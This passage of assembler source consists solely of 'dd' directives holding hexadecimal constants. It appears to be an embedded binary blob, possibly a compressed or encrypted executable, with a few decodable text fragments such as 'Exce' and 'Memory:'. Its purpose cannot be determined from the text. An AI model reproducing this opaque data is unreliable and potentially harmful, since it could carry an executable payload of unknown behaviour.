210801FBh, 0A31D319h dd 0F7D5C048h, 22135500h, 4271109Dh, 949600B4h, 93CBE658h dd 0E77BC295h, 2F9B3000h, 0BF4B2D87h, 5EC00034h, 0D383D4CCh dd 2177F869h, 0A3110A00h, 63579D5Ch, 0B9510079h, 914C4DB0h dd 0F600D6CEh, 6A65AF5Bh, 1E46728Ch, 43B99944h, 0A58B7D89h dd 0EF9C13C0h, 0EC830600h, 0FB8D810h, 78207B96h, 90100B9h dd 6531F3E8h, 2B0F27B6h, 6FAA56B0h, 2499E0C4h, 595350h dd 448CDD58h, 70FF1B1Ah, 0C4060C00h, 33B8040Dh, 891200D9h dd 5B3936E2h, 551F2CA2h, 807AE011h, 0AD05D354h, 91F849h dd 6CC88925h, 0A34A2471h, 0A540400h, 3870B506h, 47640027h dd 3B74A607h, 8D000583h, 85E1D11Bh, 188A910h, 6AE48661h dd 0C0953F1Ch, 0C8002C97h, 6B7C818Fh, 0A5FA10h, 0E8067525h dd 6602EBEDh, 1C453303h, 0F115FC51h, 0CDF86010h, 77190074h dd 7204583Bh, 8010A67h, 0C0705A4h, 0F5E0C975h, 0B0360084h dd 0EEE7F432h, 0F0095EBh, 8A129166h, 19A810h, 0EF755CC2h dd 6FB8F844h, 64B05B00h, 0C94BC4B3h, 0A3300034h, 9D747A68h dd 130F6A82h, 871B7501h, 84D0C3EFh, 7A88214Ch, 53CF022h dd 9D7D83F4h, 5598C0C2h, 85001018h, 5077CDB1h, 0F6B9D36Dh dd 0A43400F4h, 8C12A515h, 450043E8h, 356536E9h, 371C8Dh dd 3ADC3880h, 1780F08h, 0E0EEEDFDh, 700015D5h, 0E814025Bh dd 6633D7h, 823B8013h, 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh dd 565DD6h, 0F96C34Ch, 2752BF3h, 1468D0Fh, 6268C0AAh, 844BE8h dd 39554C64h, 0C749F8CEh, 936F400h, 1F8203D0h, 90FA0081h dd 618F0FA4h, 40488B92h, 3348002Eh, 35C65203h, 0B61C0765h dd 0C75CC3E1h, 744450E3h, 0C274DEC7h, 0E9856703h, 0A88921DBh dd 72047E2h, 3A2CD4CFh, 0C203E056h, 4EE03D40h, 0C6487F00h dd 33A13584h, 43A9035Ch, 40AC4C41h, 37A7F090h, 3030976h dd 20DF7285h, 0FF5FA8C7h, 2A0200D2h, 590B5D1Ah, 6B0EC1CCh dd 0C06E7265h, 321D336Ch, 7B643C2Eh, 920FF594h, 6F673C70h dd 61500073h, 4E7468EEh, 51006D7Dh, 0A8231441h, 0FFEE010h dd 71A75292h, 40FFE3CEh, 0C68F60ABh, 0E100EE45h, 68D9467Bh dd 24BDE03Fh, 87DC91h, 10F801C5h, 1E3974B1h, 7023004Eh dd 0C47275E2h, 64210052h, 71014B46h, 361D0EE8h, 6000C7B1h dd 92B2A5C3h, 6F903FD4h, 6400EB3Bh, 967AC5ABh, 58007352h dd 784B1A37h, 906850h, 0FC3DB3DAh, 466BF053h, 0BF16A60Fh dd 0C793001Eh, 0E892AB34h, 6A230B43h, 0EC803305h, 2BEB038Ch dd 261B6F0Ch, 0F61811h, 2113BD80h, 0BEAF0A48h, 0F37D9307h dd 678EF90Ch, 9FE0CEEEh, 22D12h, 0BD486D23h, 3250E52h dd 26783Ch dd 2E2C754Bh, 0E8102904h, 0F09500C9h, 6D74820Ah, 3D008E43h dd 0AF5115F6h, 755329h, 47AB021Ch, 0D6B63392h, 4613147Ah dd 0C9004C69h, 89265B8Fh, 73041E20h, 0A92443F5h, 0E0DBC6C9h dd 666F5380h, 61777400h, 0CA655F72h, 0DE48001Ch, 0FEF9633Fh dd 0D83D9173h, 0FBEB802Bh, 6E232938h, 10BC1F13h, 0A1FA80A4h dd 0F8357F14h, 38858700h, 0B5213912h, 0A4707CFh, 0E0242758h dd 1322A654h, 0B1E2040Fh, 9BC2A088h, 6F6621h, 753958E7h dd 0E5B6C74Eh, 0A6385C00h, 0BFA37756h, 3490009Bh, 0FDCF51D9h dd 64031019h, 0B5ADA648h, 8FE8C0E0h, 0D3371F49h, 0FC863FA2h dd 5205503Bh, 230C5100h, 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh dd 553BC880h, 0E413B4FCh, 2E030A37h, 0E0068E4Fh, 48EAFA2Dh dd 0C20FAD6Eh, 9A2C0A6h, 0CB41FCEEh, 0F13DCCE3h, 80047B38h dd 2A7D3E81h, 0AB15A68h, 998438Bh, 0B3E803EAh, 50727B99h dd 6F0CBC00h, 0F3F4120Ah, 0E87F47Ch, 0CDE31328h, 0C0A7C845h dd 89582A2h, 3C00F178h, 0AC042512h, 48E09378h, 1000B62Ah dd 8D520C06h, 4A000EBAh, 214BC22h, 2993E8h, 0E6A2D272h dd 11C98E7Dh, 6DF81F00h, 1DF1F35Eh, 0B18B0051h, 1A7EA256h dd 3C00C9EDh, 0AEB77DF2h, 52AAE9h, 62BB4433h, 21590504h dd 0F7EB3400h, 9612CADh, 76747FB0h, 745B48E8h, 49017500h dd 0DC76DA19h, 894C3001h, 6CB0C46h, 17FF20h, 45C3B12Dh dd 9B480B74h, 2EFC207Dh, 3AC0E900h, 4BB8621Ah, 0F2BA0380h dd 40B95F31h, 1C46C7D0h, 65D6E800h, 827A079h, 50C4FA18h dd 0B80FE502h, 29C00313h, 62491778h, 4424A0F7h, 14002018h dd 597E8088h, 222648h, 0FB96B2AEh, 10510F99h, 7060520Ch dd 852046h, 0FF32DA53h, 8920EB3Ch, 7E810600h, 8BB3042Ah dd 63A600B8h, 4EFF1FA3h, 0EA0050EEh, 7BE82836h, 44C874h dd 812D8CC9h, 6A96730Bh, 46E12C07h, 0AB303950h, 5CAD2Ah dd 0B1D58990h, 968D1361h, 7C2EB900h, 4736FF24h, 0A85A0165h dd 0D68B2280h, 5CFD86Eh, 0BC074C79h, 1A1D0906h, 85405B80h dd 2A8801F9h, 4AC2572Bh, 15472019h, 8023A33Dh, 22EB5D0Ah dd 1491C6h, 8AB29554h, 0F66A5840h, 5E0F617Eh, 2083E8F5h dd 3B5374B4h, 0B1223FB0h, 6FC91781h, 607E316Bh, 20736C0h dd 0FA480775h, 5EE4B1E0h, 0A47CC3h, 23246D7Ch, 69B81188h dd 0E9EB0402h, 809881A2h, 0DBF08BB3h, 0A488008Dh, 49CF9092h dd 2403D414h, 0EEDB108h, 4BCAE0EAh, 143148E4h, 5C181A00h dd 1C149FB3h, 4CE41190h, 7A3E2400h, 1B13549Ah, 0B08200B5h dd 87D882Ah, 0F80E1C90h, 200AAE11h, 75CDFE07h, 0C30B02A4h dd 8A94DE28h, 4FBABFC0h, 0E6F34Ch, 0EF461CD3h, 20C30Eh dd 0F718AFA6h, 0E9B767B8h, 0A97231Dh, 0E479254Fh, 7580961Ah dd 3C2AA1D8h, 0E8950EAh, 0B400FA83h, 85541977h, 6032198h dd 132453E1h, 41C5E94Eh, 98042CD4h, 0FC480E0Fh, 0F0C015EFh dd 5CC04B3Fh, 784A81E4h, 1A750A00h, 73BB9A4h, 0A573E3C3h dd 8A3D50F8h, 80011109h, 48302F9h, 0E1F46B42h, 1D70FFC1h dd 0B822000Dh, 0B046A868h, 9C0FC41Ah, 600A3D32h, 81412919h dd 0EBBF0074h, 764850DEh, 58005216h, 0B472114Ch, 0EC04C601h dd 40FF001Ah, 816656F3h, 13005830h, 0F8425290h, 263C494Eh dd 0ED51FFAh, 6F60D23Dh, 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h dd 95AC00DDh, 3AC2484Fh, 6500F426h, 104B8339h, 203CA2Bh dd 7CF080C4h, 0A1808A1Fh, 3A9B3C42h, 0D701172h, 60AA062Eh dd 1EBEE00h, 122B4A33h, 3B8930h, 64CEA7D2h, 5B1EDBB6h dd 0AC0BAD4h, 0CDEB5837h, 43C30EACh, 0CFE0850Ch, 6930C235h dd 8797743Fh, 0FC5AE45Bh, 0E13D9B12h, 0E5701877h, 120F1DF1h dd 27B9C00Ah, 4B35FF05h, 0BCC60C00h, 58F08904h, 24ED0198h dd 4084B073h, 0E2E8700Ah, 76805A00h, 45E89C6h, 56FF1D17h dd 4587C718h, 0B8942069h, 76007166h, 6F47BAF1h, 75BE77h dd 0B7070FB2h, 0B045B3C8h, 21C5F507h, 1E903347h, 90FC2E75h dd 2803007Eh, 4987B8BBh, 600452Bh, 1167FD1h, 7DC5A30Eh dd 421900F4h, 5F4CA4F3h, 59503302h, 100DA85h, 915D7A62h dd 0B6E3D06h, 0AB75A04Eh, 39F6C780h, 5800D050h, 49A6595Ah dd 3B77426h, 95772BCDh, 0B87807D6h, 0BA258E0Eh, 83750060h dd 0EA7E40F9h, 0E9071F21h, 0B951C004h, 4A27269Ah, 1E773F00h dd 0D7532C7h, 7ED5015Bh, 608F0464h, 1AC3E4FFh, 3FDC7100h dd 2812F825h, 0EC0E3DA1h, 0CB802BBBh, 2F820B7Eh, 44E874D1h dd 0F1875A0Bh, 1D2D00F5h, 0AEA0BAh, 542B7EBDh, 3B90E91Fh dd 89DB520Fh, 3FDD201Eh, 580809F3h, 8213B67Dh, 63490017h dd 56C3EB15h, 10D38400h, 0E22B5A27h, 121403CBh, 0C928B5CAh dd 0E9428688h, 69C75300h, 8D368158h, 55FF0E51h, 0B967C17Ah dd 5A6CC001h, 0E202A4AAh, 0F04C49A9h, 7B0DE020h, 40950483h dd 0C1AEF2F4h, 0D349D125h, 21ED6C00h, 2C663B97h, 0D7F60012h dd 0ABA63790h, 0E000209Fh, 4574487Ch, 71416CBh, 7F8DD5A2h dd 0F29C02Bh, 5F001FE2h, 2CDB92C0h, 4F6855h, 0DE011990h dd 0ECE8C1C9h, 4224B201h, 3D620F16h, 9E18FCh, 3318C50h dd 800422B3h, 340045E0h, 0C3158451h, 0EA48D8F7h, 4442007Dh dd 3001F9E2h, 0B0EE0B3h, 0CB473198h, 0C7670752h, 2DA3C3E0h dd 6577005Eh, 70EED93Dh, 150001A4h, 0A7FFF80h, 0EE13FC8h dd 1C4002A0h, 840542E0h, 770008FAh, 380C9C72h, 7A47C350h dd 0F424000Fh, 9680C012h, 8C7A1698h, 0BEBC200Fh, 6B286119h dd 16A61CEEh, 80951F7Ah, 43B7E16Fh, 0C0023BAh, 0D4A50410h dd 0FE800DE8h, 84E7002Ah, 14A39174h, 0E6F4F4F0h, 2DB52800h dd 31A0020Ah, 0E35F18A9h, 8BF3C30h, 8E1BC900h, 2EC54034h dd 7CA258BCh, 76FA3700h, 0B6B3A0Eh, 3E91DE38h, 234400E8h dd 883E8AC7h, 4AC0162h, 0AD78EBC5h, 7A80C041h, 26B71701h dd 44D8D710h, 1AC90C0h, 8678326Eh, 30484087h, 0A0357B5h dd 0A968163Fh, 0EDA1804Bh, 0CE0703CCh, 4ED3C21Bh, 1484A0C8h dd 5161F800h, 527A5976h, 0A5C80407h, 0C0B99019h, 0A0556724h dd 200F3A0Fh, 8F27E0F4h, 0C358CECBh, 0F894093Eh, 3F3978D8h dd 875C813Dh, 36B90BE5h, 8FD1D7B7h, 0DFEC5FA1h, 467004Eh dd 0F2C9CD1Ch, 8300629Eh, 45812296h, 1C6F7CF8h, 3F657AFCh dd 2B70B500h, 9DC5ADA8h, 1697F00h, 0FFCFA6D5h, 781F0E49h dd 0C314B6BDh, 16C59B03h, 0EF80B3ABh, 0E001413Dh, 0A48E98Ch dd 93E4BAE4h, 24AAE0A8h, 0E78E617h, 0B60516A1h, 55718012h dd 8D093927h, 70F70Fh, 0C9304093h, 0FFE33D3Ch, 8A529681h dd 838E49E7h, 0EBFB9D9Ch, 5152007Eh, 6A2F8C43h, 0F00195Ch dd 0BBD226FCh, 1EE37640h, 8029F2CCh, 7D817C84h, 0A141C44h dd 0A4DB90h, 406F9FA4h, 1F8AA17h, 0E30F10AEh, 0ECFAC4C5h dd 0B01C9C59h, 0DD002AE9h, 4564F28Ah, 0F7F300D4h, 4AE1EB03h dd 0CF0F957Ah, 0A7A262D1h, 0D800DC07h, 39B83Eh, 0E91C746h dd 0A0AEA603h, 0A3E31900h, 750C17D0h, 86812C39h, 48C9002Ah dd 93A7E44Dh, 353BF0E1h, 0EDB2B800h, 5D1CE553h, 0FDC5003Dh dd 929E8B80h, 0F000A65Ah, 0C02001A1h, 0F8CA554h, 0E5FB6137h dd 5D259D01h, 0DBF9C089h, 0F3F86700h, 7BA2BF27h, 80CAC0C8h dd 20979B6Eh, 28A38h, 25C46052h, 59F075h, 562FCD5h, 0CAAE3511h dd 3F857B00h dd 0F7144EFAh, 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h dd 59D109A8h, 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh dd 4C914197h, 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h dd 0A791001h, 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h dd 20E9DB91h, 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h dd 0D68ED24Eh, 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh dd 40001B1Fh, 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h dd 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h dd 5875FFh, 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h dd 0FFDA00C3h, 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h dd 0F882681h, 8B40835Ah, 0A77B9EDAh, 5D64F300h, 47565948h dd 0C8EE07h, 0F07E25BEh, 0F495725Ch, 0CA92AC07h, 7520F2F5h dd 42CC88h, 2F3344DCh, 85844F80h, 251520Fh, 40400FABh dd 9C7C20F9h, 302C00F1h, 0D81C051Ah, 0AB07B8C3h, 0FE2D331h dd 2A60A510h, 5CFB0EE0h, 0C121061Ch, 708B1FFAh, 9900E6FCh dd 38F8D333h, 3B487FADh, 303F5EF9h, 0E8000EBEh, 395364DAh dd 2500AFEAh, 7E75F448h, 9D5442h, 5E24054Bh, 0C93793C1h dd 2C383500h, 535CAC92h, 317F000Ah, 0C1F096Fh, 0F9031474h dd 0FC2B7A81h, 0EC10F873h, 50F230A5h, 0D81754DCh, 57F81A00h dd 703C685Dh, 83FA42h, 0F01212Dh, 0CC2ABCE1h, 8A309201h dd 2299B355h, 3D3CF0h, 0DE605C6h, 43460E02h, 1F0044F8h dd 0E8C76603h, 0AF9D6Ch, 287F34A7h, 92A40901h, 897058h dd 4991410h, 0ECA78056h, 98EB00E8h, 2940693Fh, 541F4BFAh dd 2A050A90h, 5D80877Eh, 1A5A6Bh, 697947F3h, 5F76139Bh dd 22302D00h, 9DAB7CBAh, 3AE500F9h, 0F4AF25Dh, 0D07B25Ah dd 472CA31Bh, 9001BBE0h, 84280015h, 204838DBh, 0C201F229h dd 94345577h, 0D660CBF3h, 0B8090092h, 0FC114710h, 0F8008891h dd 0F072F4E4h, 90CEC39h, 8B82F53h, 8343CC00h, 0CC033D2Ah dd 197DE0D7h, 25E2F00Ah, 0D22E00E8h, 1C8368A8h, 0E175406Ah dd 987B4503h, 0D8A50C02h, 0AEB1Fh, 2D31A153h, 3D0D8B43h dd 0E01D8900h, 78156B19h, 83784Fh, 2F2893E8h, 1CD422A3h dd 56E75403h, 0E0A531B3h, 5771E14h, 32157CC5h, 0D04CC74Eh dd 8B730A3Bh, 282B2903h, 0A8CD191Fh, 581246h, 548E0B2Dh dd 318A4C9Bh, 1DC80D00h, 1442058Bh, 0FF600084h, 15F66428h dd 6D182C6Bh, 0AD04C382h, 4F34176Eh, 80B71E5Bh, 7A17E022h dd 0D903E612h, 0E3535A88h, 0AEE2A0B6h, 0D4A100C5h, 8A7B3448h dd 0CD00C48Bh, 0D88E6927h, 0B4E641h, 8900460h, 0CAA8A10Ah dd 0EA31300h, 0BA4B80Ch, 0EB2503E8h, 8466937h, 94047BC8h dd 4B13BA00h, 75F998B1h, 25EE6Eh, 9E9D5014h, 764D8BC9h dd 5328A200h, 20D53AEDh, 0C10CE627h, 0EC908458h, 0C55B204Fh dd 0D835FF00h, 0BCB93D14h, 331C014Eh, 54CC2524h, 790BCC99h dd 3401577Bh, 932DC45h, 69E480C4h, 0EB601EA6h, 0A49ECF10h dd 722413C0h, 99282004h, 2309EE08h, 149118h, 7C0CE47Ah dd 478E1EA8h, 40A05EA4h, 3998729Ch, 90691C94h, 0F07FFE1Ah dd 6C009170h, 64E468C8h, 98396072h, 22586132h, 60502354h dd 4800C819h, 407244E4h, 601C3C39h, 23342238h, 2C009130h dd 0B4E4B8C8h, 3BB072h, 0FC319382h, 0A6F8104Ch, 0F4470800h dd 0EC91F023h, 9FE800CFh, 10E494A1h, 802E0CAh, 0D872DC64h dd 0D0464139h, 23CC5E80h, 0DEC491C8h, 0F8CE100h, 3D207B7h dd 10E200C1h, 0B0C3C20Bh, 4F98A1E8h, 0B62F9300h, 90AE01CCh dd 7FE10181h, 187BD521h, 4914DC05h, 57780800h, 64487710h dd 5387000Ch, 517F90FDh, 1AB80F8Fh, 697C9717h, 4C459501h dd 4770F909h, 0B1465080h, 0A2423A3Ch, 0E7641A83h, 898F06Ah dd 0C83EF111h, 72F300F2h, 1CF539F4h, 0F7C8C0F6h, 0F991F823h dd 0E4FAC800h, 39FC72FBh, 0FE1C0EFDh, 0E08CFF8Eh, 2303E12Ah dd 0C8E391E2h, 72E588E4h, 0E73900E6h, 0CF21E81Ch, 0E901884Bh dd 32EAC5D7h, 0E20EB18h, 0ED1C30ECh, 0EF23EE42h, 0C8D09100h dd 72D2E4D1h, 0E83B75D3h, 0D6390CD5h, 0D82AD71Ch, 91D92301h dd 0E4DBC8DAh, 39DDC040h, 0DF1C20DEh, 0C123C000h, 0C3C8C291h dd 72C401E4h, 1CC639C5h, 722BEC7h, 0CA91C923h, 0CCE4CB50h dd 39CD0472h, 0CF1CCEh, 91B123B0h, 0B3C824B2h, 39B58111h dd 80B71CB6h, 0B923B822h, 0C8BA91h, 72BCE4BBh, 1CBE39BDh dd 12A0BF40h, 9BA122h, 705CC165h, 431E23E8h, 1EBC848Fh dd 425E082Ah, 65209F03h, 0E75BD8FEh, 0AC901DCFh, 0C29C032h dd 4B103CBAh, 0AA1FFC7Fh, 51400E2Ah, 0F62F0501h, 2AB0FEh dd 65637845h, 0A6D13A70h, 805D883Ah, 8B530A7h, 1C8A1020h dd 0C0685CD4h, 817E2423h, 651F4845h, 5B037061h, 0ABE45790h dd 95809CB2h, 0C015E2h, 754F450Ch, 66017473h, 6D654D00h dd 3A79726Fh, 9520001Ch, 0A9E95C5Eh, 91EAB840h, 450BD4F5h dd 0DD6E4909h, 3FEE0EBDh, 588E989Dh, 48EF8390h, 2F0C9066h dd 28400F74h, 0D8A06C61h, 0B258F057h, 4C6030B0h, 2D12C484h dd 846C0523h, 817E5F50h, 0F0756020h, 10165209h, 35010E65h dd 47F658A8h, 79043CD0h, 0F01F642h, 76694445h, 415A7900h dd 90016FBBh, 585E60C1h, 0EED4109Ch, 2C00048h, 676E6152h dd 9DFD1965h, 7700C820h, 8210C92h, 4076014Fh, 6F6C66AFh dd 2B74F44Dh, 0D95CB41Ch, 64221DC0h, 0FC0C20E9h, 1E0A7EBFh dd 0B9063B3h, 0F38F7AD5h, 688461A0h, 940B2E60h, 7626B4h dd 4F64691Eh, 0D2902A70h, 0BE07F193h, 5B92B740h, 0C237B4C0h dd 0E74F1FBCh, 61F16C4Ch, 14D4C1A4h, 9A1F0062h, 0D0084740h dd 520A6E55h, 0EE3A5964h, 6C76AB28h, 0D188E500h, 8760220Fh dd 4F6F0450h, 81854A36h, 0D044F649h, 301DB90Ch, 97D567Eh dd 8C433Ah, 63E98D01h, 7542F4AFh, 0C01D0024h, 6F43450Dh dd 0B002BAD4h, 80A2D858h, 0A00543BDh, 0EACC4Ch, 41451005h dd 7388C363h, 0E0568A00h, 0B9616C89h, 0BC2A1E8Eh, 40F64047h dd 26F42CB1h, 325048h, 1656C8Bh, 503890E4h, 0C084CA64h dd 0E803B0Ah, 74005345h, 6B632661h, 67905081h, 4064A294h dd 1109C93Bh, 20747003h, 0A7EF6C6Bh, 58AFEC30h, 52E864h dd 5684C83Bh, 390D8761h, 8A04512h, 0D4FC8D00h, 58EA5C40h dd 0C51E2449h, 0BD59C02Dh, 23614609h, 8D646F0Eh, 0B260C057h dd 7FE41DA8h, 8462030Eh, 738572D9h, 490BDE8h, 839C6655h dd 41491F0Ah, 4365D2ACh, 8F60E074h, 0B289E7E4h, 890C8112h dd 0C4002A1Eh, 8D70E3DCh, 6903FFh, 59242552h, 0FDAA7ECh dd 0C1C20100h, 0F76610EAh, 5DF407F3h, 0D0F9ED08h, 0B0130693h dd 0BD04D809h, 0B2768010h, 4CEDA1FEh, 37003E74h, 525A6CCFh dd 5C00212Bh, 6A69B3A9h, 29EA84h, 10236DAFh, 2CA66706h dd 1B409D00h, 44B7C38Bh, 4DEE00EDh, 0B3E58F5h, 5B016D47h dd 0D70D3D28h, 4BF8FC67h, 3AEB00E1h, 0B04A2ADAh, 0C91690A5h dd 0B1005388h, 0EBA80996h, 0D2D900DDh, 89DC520Fh, 390716C1h dd 47AC76D1h, 0F3C9003Eh, 12A74A6h, 95FF5E8Ah, 70627852h dd 770F7A94h, 0C07D4855h, 0A120DC7Fh, 0A0C2703Bh, 0FB38F5h dd 300FD874h, 0D706C3B6h, 69D02900h, 31DFAE5Bh, 2EEA003Ch dd 64EFADD4h, 2A00ED58h, 43A0E66Eh, 7CF33Bh, 6807307h dd 7620FF1Fh, 0A16F40Eh dd 0C58B407Dh, 0EB6192h, 2A914E17h, 6CF83037h, 0CB2BCE00h dd 0D3674175h, 99330073h, 575AD0DEh, 6A002187h, 51A65F09h dd 0E44E08C6h, 0C16F03B8h, 67E4BAC2h, 604FEBE0h, 1AFB0501h dd 6844BDD8h, 2502C8h, 54F7644Ah, 1E036669h, 0E7890800h dd 0F90FC685h, 4D4F0010h, 6818BAE2h, 0F8FE31B2h, 0AD0049E2h dd 0F062B034h, 0F829016Ah, 0B2640054h, 10240CDBh, 860067E8h dd 557550BAh, 12F3B91h, 3822F5D5h, 402E1004h, 0C4F278E2h dd 3A3F9400h, 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh, 795990AAh dd 19E5F100h, 0ED4B405Eh, 0F4263868h, 0DFEA503h, 51F01F8Ch dd 0D90197F0h, 89153D65h, 0BCC8F5Ch, 842401D4h, 0EB66ECA1h dd 0AFE8D490h, 43CC5600h, 9F0C62C6h, 5FFE4Ch, 0D4D68251h dd 993537AAh, 5A880207h, 32079D6Eh, 31566910h, 3EF83F84h dd 40E7C39Dh, 747F588Ah, 5C7C1228h, 9AEFF00h, 6B291B50h dd 3F840002h, 4461765Bh, 884CEE0Eh, 75400E9Fh, 3802403Ch dd 8C4F06h, 7C7FFF85h, 0CCD99DC7h, 0FAACCF00h, 0B815D39Fh dd 697970h, 2658E711h, 560580F0h, 4DB90102h, 0E1BA7FCDh dd 0C73F692Fh, 0B38069D4h, 0E4CCE884h, 0AA0014E8h, 9213D353h dd 0A32CFACh, 24F40852h, 70FC00E5h, 0A40F45E3h, 12FB307h dd 33D06DF7h, 3D3A20D2h, 0AFAE19E8h, 0B6F400AEh, 0FA0E3816h dd 1ADD3E00h, 0A0E7DC0Dh, 0CE00130h, 729F2DB0h, 0A639600Eh dd 58441A00h, 104686C2h, 5BC30012h, 0BDE6127h, 29005E90h dd 9697C714h, 7BC2516h, 0FEB818E8h, 98C8D013h, 0EC0099E3h dd 34D6373Bh, 16AFCAA4h, 11B080h, 0E9C13A95h, 0A6004D9Fh dd 38BED1D2h, 0F08BFFAEh, 0FD6E0021h, 0DEEECE22h, 7600EF5Eh dd 36404A3Ch, 73FC5FCh, 27895657h, 7FF7405Ch, 9D06E7D1h dd 0F899CA9Bh, 2447FAB8h, 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh dd 54C105F6h, 78410175h, 2DAA0029h, 5AD91996h, 783D1785h dd 0DFB0067h, 0D83B622Eh, 9FDA00C0h, 50127DC5h, 0D000A928h dd 597A8E90h, 15A5F25h, 802AF4D3h, 0D0C6AACAh, 67003164h dd 21D20BFFh, 8A249Eh, 13F80246h, 99E823ACh, 0B057E53Ch dd 0EA2112FAh, 94613920h, 985D9E03h, 0CA9883A8h, 10EE097Ch dd 95543200h, 6444A7D9h, 573A0E47h, 506012ACh, 86405C3Dh dd 0D0885F03h, 98E16392h, 67503h, 4648F82Eh, 766CCCA2h dd 97299800h, 0BCBAB662h, 55DC00EAh, 0ABD447CBh, 1872F88Ch dd 6BF9C000h, 0F20ACC88h, 951200E8h, 0C41A10E6h, 78F8779Fh dd 0D90070FCh, 0FBF2F87Dh, 761F0Eh, 0AB9BBB05h, 944A8C26h dd 8E7B9000h, 4B9FBC01h, 9DC400DFh, 0E8D602CBh, 0A6F259FBh dd 3C1C1900h, 20A864FFh, 6AA028Bh, 0F0CF22CBh, 61F056C3h dd 6C0524B1h, 8F9A289Ch, 62B01E87h, 0F732E76Fh, 0A8DAADCh dd 60537BE2h, 558C0094h, 5D892082h, 16297F00h, 3CE1FA2h dd 7D510068h, 0B22890FCh, 612C8C5h, 0CC0012F4h, 0CE390E16h dd 0ACB01CA1h, 0CB254920h, 4476C100h, 4C3FEB28h, 0E90D002Bh dd 0BF845FF7h, 6430031h, 0FEBAEAE8h, 0EC730C88h, 1CEB4500h dd 575302Dh, 0ACDA1E31h, 5CF100E8h, 3A7FD25Ah, 340A6E03h dd 0F8C825D8h, 1DFEB31h, 22BBE414h, 0C42E6440h, 0B40F2919h dd 9C2649h, 0DC75C3E0h, 0A6525851h, 5AFBCD04h, 0A08D80EEh dd 6000273h, 7D80DB31h, 727C9AEBh, 12CA000Ah, 42D10104h dd 8758A4ACh, 570C1FFDh, 0E948F7Ah, 0E99D009Ah, 3C610ABAh dd 0C6004454h, 5A18A104h, 9E7F8B59h, 15D8331Dh, 302AF880h dd 0E80A2274h, 803C0072h, 37097739h, 0C0F7DB6Bh, 6C003BE4h dd 12AC0B6h, 3E5080C3h, 1A0B9403h, 0D68AE958h, 46178Dh dd 1277A7DEh, 1077D4FFh, 390C093Dh, 26B3807Ch, 0AB74EA1Ch dd 4F1F0086h, 24C2ACDCh, 0C12488DFh, 6E029DFFh, 0E070523Ch dd 75015Ah, 0DE348D0Ch, 4A0F06D8h, 43F0B60Fh, 669D8024h dd 0F4406Dh, 0AA08CC6Eh, 7F88C111h, 0F1816F00h, 41276112h dd 4A1800CAh, 2102C604h, 93C2564h, 34D08E7Bh, 6919C066h dd 2C0111BEh, 3FE87Dh, 0B955D39Dh, 0DC074D87h, 97D5D129h dd 5D8DA330h, 20120061h, 0F29D1399h, 53007368h, 44F9800Bh dd 0B0C8D074h, 2A600EB4h, 40DE580Ah, 826FB4B9h, 0F70023EBh dd 1E575243h, 157480h, 48831B4Dh, 0F95BFBC3h, 24FAE800h dd 2D02B04Fh, 884E1F41h, 90F7C006h, 4B758DDBh, 0F1AF3Fh dd 9D038BCCh, 785848h, 92598043h, 60EAE2BDh, 723AE900h dd 2907C383h, 1E161E4Eh, 27033942h, 9DDBC89h, 0CA75D080h dd 0AF4D8D00h, 91A1F129h, 0E3B72E0h, 39907654h, 0AEA7842h dd 0D330F660h, 0F17B100h, 8F4257B5h, 22111E15h, 3D854010h dd 93ACE092h, 90017E0h, 0F70E79C0h, 29E8D8h, 51875E81h dd 65997E9Fh, 637B4B14h, 23EA0F90h, 53D180CEh, 3E0BA88h dd 520191FEh, 0D1DF220Fh, 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh dd 3C96245Bh, 42EB05h, 2122C931h, 0F9042BB0h, 0A280AC0Fh dd 1235C0C8h, 38BCBEh, 5DD5D1Dh, 0E391CCDh, 93005279h dd 0F0713B13h, 6AD6B7h, 0EBCA5D5Fh, 7C95170Bh, 9053400h dd 0EABA74F6h, 3B710001h, 6F77E04Dh, 0C01901Ah, 0D605091h dd 2FC2A65h, 0E3291C97h, 0F24F8033h, 5FB686F9h, 5040411Ch dd 45C78880h, 1C52E04Bh, 0DF0431E9h, 0B7FC4086h, 274EB01h dd 6E98E103h, 0C047EFB3h, 1FF3F77h, 0DF450E9Dh, 0E5029038h dd 4440EE46h, 4E047E03h, 114DF5C8h, 4B31AC0h, 7773FCB8h dd 139EC92h, 0BA2576C2h, 0E08A4BB5h, 0C3001B75h, 0F5F41509h dd 8B0291h, 3BABE8Ch, 0F87B832Dh, 2229B81Ch, 53260FC0h dd 0B886FA50h, 46F201E3h, 0A9E8CF0Bh, 0C155207Dh, 462873Eh dd 0D9AB50C3h, 736FF680h, 0FD4F035h, 2024B211h, 34E6BF40h dd 9600F1FAh, 63824BD5h, 7B7D59E3h, 900C0111h, 0CE2E0809h dd 0E8D7F830h, 0E45C0F00h, 0F6034167h, 0CC7C00FEh, 1BD5169h dd 87009124h, 96CF38D1h, 52B785h, 0C564FA48h, 0A4A7C4E1h dd 391F5E00h, 0F09401DAh, 100200BBh, 0E3D44513h, 0D300277Dh dd 0E05AB67Ch, 3ACA2BC1h, 0D6603B78h, 0F8E3321Ch, 4D759100h dd 3EE6EAEh, 0F685008Dh, 7B9854EFh, 0C0F57EBh, 0C05C40h dd 2C23B38h, 437D7Ch, 0DDDB0330h, 645157B2h, 62722F00h dd 0A6B4BA7h, 0AA470095h, 0EC7D4F39h, 923E2A34h, 0EEB0F2Dh dd 2563E08Dh, 0E419F6h, 4118C5Eh, 3490DCA4h, 7ADD6105h dd 61870DD8h, 8EE84B20h, 0FBC100A5h, 0D92A1179h, 351CDC01h dd 16C0D848h, 0AA406EBh, 5A050013h, 89CA0495h, 8400EE11h dd 681C9D0Bh, 562E74h, 45C68510h, 7E1EBAFFh, 730018ECh dd 0FA3B0C4Dh, 47203Ch, 0F841F940h, 